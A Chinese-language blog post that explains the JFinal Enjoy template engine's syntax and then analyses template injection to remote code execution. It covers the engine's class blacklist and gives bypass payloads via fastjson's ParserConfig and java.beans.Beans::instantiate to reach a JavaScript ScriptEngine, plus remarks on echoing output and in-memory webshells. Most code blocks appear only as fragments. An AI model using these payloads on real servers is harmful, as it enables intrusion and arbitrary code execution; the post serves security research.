介绍
enjoy模版是Jfinal框架使用的模版,Jfinal默认使用的这个引擎进行渲染
Enjoy Template Engine 采用独创的 DKFF (Dynamic Key Feature Forward)词法分析算法以及独创的DLRD (Double Layer Recursive Descent)语法分析算法,极大减少了代码量,降低了学习成本,并提升了用户体验。
Enjoy 模板引擎核心概念只有指令与表达式这两个。而表达式是与 Java 直接打通的,所以没有学习成本,剩下来只有 #if、#for、#define、#set、#include、#switch、#(…) 七个指令需要了解,而这七个指令的学习成本又极低。
所以简单来说这是一个非常简单的模版引擎,简单到用两个方面就能概括,即表达式和指令。
并且指令就只有七个,也是七个比较常见的指令,然后表达式就跟java语法差不多就不说了,像什么三元表达式,算数运算表达式,方法调用表达式,这里我直接引用官方的例子
1 | // 算术运算 |
然后就是特殊的指令表达式#(),这个可以用来调用我们自己定义的拓展指令,当然也内置了一些指令如#set()
语法介绍
表达式
- 算术运算: + - * / % ++ –
- 比较运算: > >= < <= == != (基本用法相同,后面会介绍增强部分)
- 逻辑运算: ! && ||
- 三元表达式: ? :
- Null 值常量: null
- 字符串常量: “jfinal club”
- 布尔常量:true false
- 数字常量: 123 456F 789L 0.1D 0.2E10
- 数组存取:array[i](Map被增强为额外支持 map[key]的方式取值)
- 属性取值:object.field(Map被增强为额外支持map.key 的方式取值)
- 方法调用:object.method(p1, p2…, pn) ****(支持可变参数)
- 逗号表达式:123, 1>2, null, “abc”, 3+6 (逗号表达式的值为最后一个表达式的值)
属性访问
直接xxx.xxx,但是他进行访问的原理是如下的
- 如果 user.getName() 存在,则优先调用
- 如果 user 具有 public 修饰过的name 属性,则取 user.name 属性值(注意:jfinal 4.0 之前这条规则的优先级最低)
- 如果 user 为 Model 子类,则调用 user.get(“name”)
- 如果 user 为 Record,则调用 user.get(“name”)
- 如果 user 为 Map,则调用 user.get(“name”)
可以发现这里是直接调用的getter方法进行获取值,所以说我们到时候可以根据这个特性找getter链
方法调用
1 | #("ABCDE".substring(0, 3)) |
方法调用这里直接使用的java的规则,直接调用对象任意方法的形式来调用
静态属性访问
需要开启engine.setStaticFieldExpression(true);这个配置才能直接访问静态变量,默认是不行的
1 | com.demo.common.model.Account::STATUS_LOCK_ID |
访问形式是直接使用::
就行
另外这里的静态变量必须是public作用于的属性才能够直接获取到,至于final没有指定
静态方法调用
1 | engine.setStaticMethodExpression(true); |
同样也是需要直接手动打开配置才能调用静态方法的
1 | com.jfinal.kit.StrKit::isBlank(title) |
这是使用方法,同样也是要求方法为public作用域
然后以上的静态属性和方法可以结合的
1 | (com.jfinal.MyKit::me).method(paras) |
即通过括号的方式调用静态属性的静态方法
注释
1 | ### 这里是单行注释 |
原样输出
1 | #[[ |
<font style="color:rgb(33, 37, 41);">#[[ </font>``<font style="color:rgb(33, 37, 41);">]]#</font>
指令
#if、#for、#switch、#set、#include、#define、#(…)
当然也可以自己拓展,只需要继承directive ,然后重写exec方法就行了,这里重点介绍<font style="color:rgb(33, 37, 41);">#set()和#(...)</font>
一个是设置变量的指令,一个是输出指令
#set 指令
1 | #set(x = 123) |
这个看名字就知道是在当前模板设置变量的指令,并且这个变量的作用于是当前模板的全局下,所以#if#for这些块里面的设置的作用域不同,他会现在当前作用域下寻找是否已存在变量,找不到会继续往上层找。
#setLocal指令是他的拓展,用来制定当前作用域的变量
然后就是#set()括号里面的内容,可以填一个xx=xxx的表示,也可以使用逗号批量进行变量赋值,当然set的作用可以直接被#()代替,毕竟都是写表达式
#()指令
输出指令,非常直接简单,括号里面直接写表达式,然后模版会把表达式的内容执行并通过#()输出出来
1 | #(value) |
#拓展指令()
这个直接举个例子简单看一下就行,对于Jfinal框架使用率还是比较高的,一般用于与sql进行结合,直接使用#xxx()获取数据库信息,就直接从View层获取到Model层的数据了,感觉有点怪哈哈哈
1 | /* |
1 | public class NowDirective extends Directive { |
RCE
黑名单
可以看到render方法调用的renderFacotry来获取对应的render然后进行渲染
可以看到这里爆了一个错,说java.lang.Runtime是被禁止的类
接着跟进一下
这里获取模版
接着进行扫描或得到了几个token,一个是set操作,一个是output操作
然后扫描出来之后就直接报错了,这里是直接在statList()里面进行parse的
到了表达式解析这里
获取了这些语法
接着继续往下调到获取对应静态方法的地方
很明显在这里判断加载出来的类是否在黑名单中,这里我们可以知道这里是先通过Class.forName加载获得了Class对象之后再对其进行判断的,虽然没啥用,总之这里是使用的黑名单进行过滤
可以看到这里ban掉了很多类以及很多方法
1 | System.class |
可以看到这些事写到static静态代码里面的黑名单类和方法,所以我们只需要绕过这些就能够rce
绕过
fastjson绕过
1 | #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) |
直接就是使用fastjson组件调用ScriptEngineManager获取js引擎进行rce
Beans绕过
这里我们也可以直接使用一个原生类的静态方法进行绕过java.beans.Beans
Beans.instantiate这个方法能够实例化一个javabean对象,但是这里也能够创建一个实例化对象
1 | #set(engine=(java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js")) |
所以就调用Engine的eval方法执行任意代码了
总结
就是寻找不在黑名单里面的静态方法,能够创建对象的方法,然后调用该对象的某些方法后面就是找sink链了,因为过滤了Runtime所以就需要找到二次的执行方法例如javaScriptEngine,或者各种jndi注入等等方法非常多,但是这些基本都是没有static方法的,所以需要再找一个能够触发到他们的方法比如Beans类等
获取回显
内存马
毕竟能够执行任意代码了,就可以直接写内存马了
直接回显
毕竟这里本身就是#()输出指令,直接返回给他一个结果字符串就行了
1 | #set(engine=(java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js")) |
参考链接
https://cxkjy.github.io/blog/Enjoy%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5.html